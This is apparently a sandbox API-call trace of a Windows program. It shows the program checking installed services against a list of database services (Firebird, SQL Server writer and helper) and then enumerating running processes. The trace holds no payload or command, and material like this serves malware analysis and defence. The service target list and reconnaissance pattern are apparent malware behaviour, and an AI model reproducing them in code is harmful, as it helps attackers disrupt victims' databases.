	[0040.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0040.637] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0040.637] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0040.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0040.637] lstrlenW (lpString="lfsvc") returned 5
	[0040.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0040.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0040.637] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0040.637] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0040.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0040.637] lstrlenW (lpString="lmhosts") returned 7
	[0040.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0040.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0040.637] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0040.637] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0040.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0040.637] lstrlenW (lpString="LSM") returned 3
	[0040.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0040.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0040.637] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0040.637] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0040.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0040.637] lstrlenW (lpString="MpsSvc") returned 6
	[0040.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0040.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0040.637] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0040.637] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0040.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0040.637] lstrlenW (lpString="NcbService") returned 10
	[0040.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0040.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0040.638] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0040.638] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0040.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0040.638] lstrlenW (lpString="netprofm") returned 8
	[0040.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0040.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0040.638] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0040.638] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0040.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0040.638] lstrlenW (lpString="NlaSvc") returned 6
	[0040.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0040.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0040.638] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0040.638] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0040.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0040.638] lstrlenW (lpString="nsi") returned 3
	[0040.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0040.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0040.638] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0040.638] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0040.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0040.638] lstrlenW (lpString="PcaSvc") returned 6
	[0040.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0040.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0040.638] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0040.638] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0040.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0040.638] lstrlenW (lpString="PlugPlay") returned 8
	[0040.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0040.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0040.638] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0040.638] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0040.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0040.638] lstrlenW (lpString="Power") returned 5
	[0040.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0040.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0040.639] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0040.639] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0040.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0040.639] lstrlenW (lpString="ProfSvc") returned 7
	[0040.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0040.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0040.639] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0040.639] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0040.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0040.639] lstrlenW (lpString="RpcEptMapper") returned 12
	[0040.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0040.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0040.639] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0040.639] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0040.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0040.639] lstrlenW (lpString="RpcSs") returned 5
	[0040.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0040.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0040.639] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0040.639] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0040.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0040.639] lstrlenW (lpString="SamSs") returned 5
	[0040.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0040.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0040.639] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0040.639] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0040.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0040.639] lstrlenW (lpString="Schedule") returned 8
	[0040.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0040.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0040.639] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0040.639] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0040.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0040.639] lstrlenW (lpString="SecurityHealthService") returned 21
	[0040.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0040.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0040.640] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0040.640] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0040.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0040.640] lstrlenW (lpString="SENS") returned 4
	[0040.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0040.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0040.640] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0040.640] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0040.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0040.640] lstrlenW (lpString="ShellHWDetection") returned 16
	[0040.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0040.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0040.640] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0040.640] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0040.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0040.640] lstrlenW (lpString="Spooler") returned 7
	[0040.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0040.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0040.640] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0040.640] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0040.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0040.640] lstrlenW (lpString="SSDPSRV") returned 7
	[0040.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0040.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0040.640] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0040.640] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0040.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0040.640] lstrlenW (lpString="StateRepository") returned 15
	[0040.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0040.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0040.640] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0040.640] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0040.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0040.640] lstrlenW (lpString="SysMain") returned 7
	[0040.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0040.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0040.640] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0040.641] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0040.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0040.641] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0040.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0040.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0040.641] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0040.641] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0040.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0040.641] lstrlenW (lpString="Themes") returned 6
	[0040.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0040.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0040.641] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0040.641] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0040.641] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c03d0 | out: hHeap=0x650000) returned 1
	[0040.641] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2c8
	[0040.645] Process32FirstW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0040.694] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0040.695] lstrlenW (lpString="System") returned 6
	[0040.695] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0040.695] lstrlenW (lpString="smss.exe") returned 8
	[0040.695] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0040.696] lstrlenW (lpString="csrss.exe") returned 9
	[0040.696] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0040.696] lstrlenW (lpString="wininit.exe") returned 11
	[0040.697] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0040.697] lstrlenW (lpString="csrss.exe") returned 9
	[0040.697] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0040.698] lstrlenW (lpString="winlogon.exe") returned 12
	[0040.698] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0040.698] lstrlenW (lpString="services.exe") returned 12
	[0040.698] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0040.699] lstrlenW (lpString="lsass.exe") returned 9
	[0040.699] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0040.700] lstrlenW (lpString="svchost.exe") returned 11
	[0040.700] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0040.701] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0040.701] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0040.729] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0040.729] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0040.730] lstrlenW (lpString="svchost.exe") returned 11
	[0040.730] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0040.731] lstrlenW (lpString="dwm.exe") returned 7
	[0040.731] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0040.731] lstrlenW (lpString="svchost.exe") returned 11
	[0040.731] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0040.732] lstrlenW (lpString="svchost.exe") returned 11
	[0040.732] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0040.733] lstrlenW (lpString="svchost.exe") returned 11
	[0040.733] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0040.734] lstrlenW (lpString="svchost.exe") returned 11
	[0040.734] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0040.734] lstrlenW (lpString="svchost.exe") returned 11
	[0040.734] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0040.735] lstrlenW (lpString="svchost.exe") returned 11
	[0040.735] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0040.736] lstrlenW (lpString="svchost.exe") returned 11
	[0040.736] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0040.736] lstrlenW (lpString="svchost.exe") returned 11
	[0040.736] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0040.737] lstrlenW (lpString="svchost.exe") returned 11
	[0040.737] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0040.738] lstrlenW (lpString="spoolsv.exe") returned 11
	[0040.738] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0040.738] lstrlenW (lpString="svchost.exe") returned 11
	[0040.738] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0040.739] lstrlenW (lpString="svchost.exe") returned 11
	[0040.739] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0040.740] lstrlenW (lpString="audiodg.exe") returned 11
	[0040.740] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0040.741] lstrlenW (lpString="sihost.exe") returned 10
	[0040.741] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0040.741] lstrlenW (lpString="svchost.exe") returned 11
	[0040.741] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0040.742] lstrlenW (lpString="taskhostw.exe") returned 13
	[0040.742] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0040.743] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0040.743] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0040.743] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0040.743] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0040.744] lstrlenW (lpString="explorer.exe") returned 12
	[0040.744] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0040.744] lstrlenW (lpString="Memory Compression") returned 18
	[0040.744] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0040.745] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0040.745] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0040.746] lstrlenW (lpString="SearchUI.exe") returned 12
	[0040.746] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0040.747] lstrlenW (lpString="RuntimeBroker.exe") returned 17
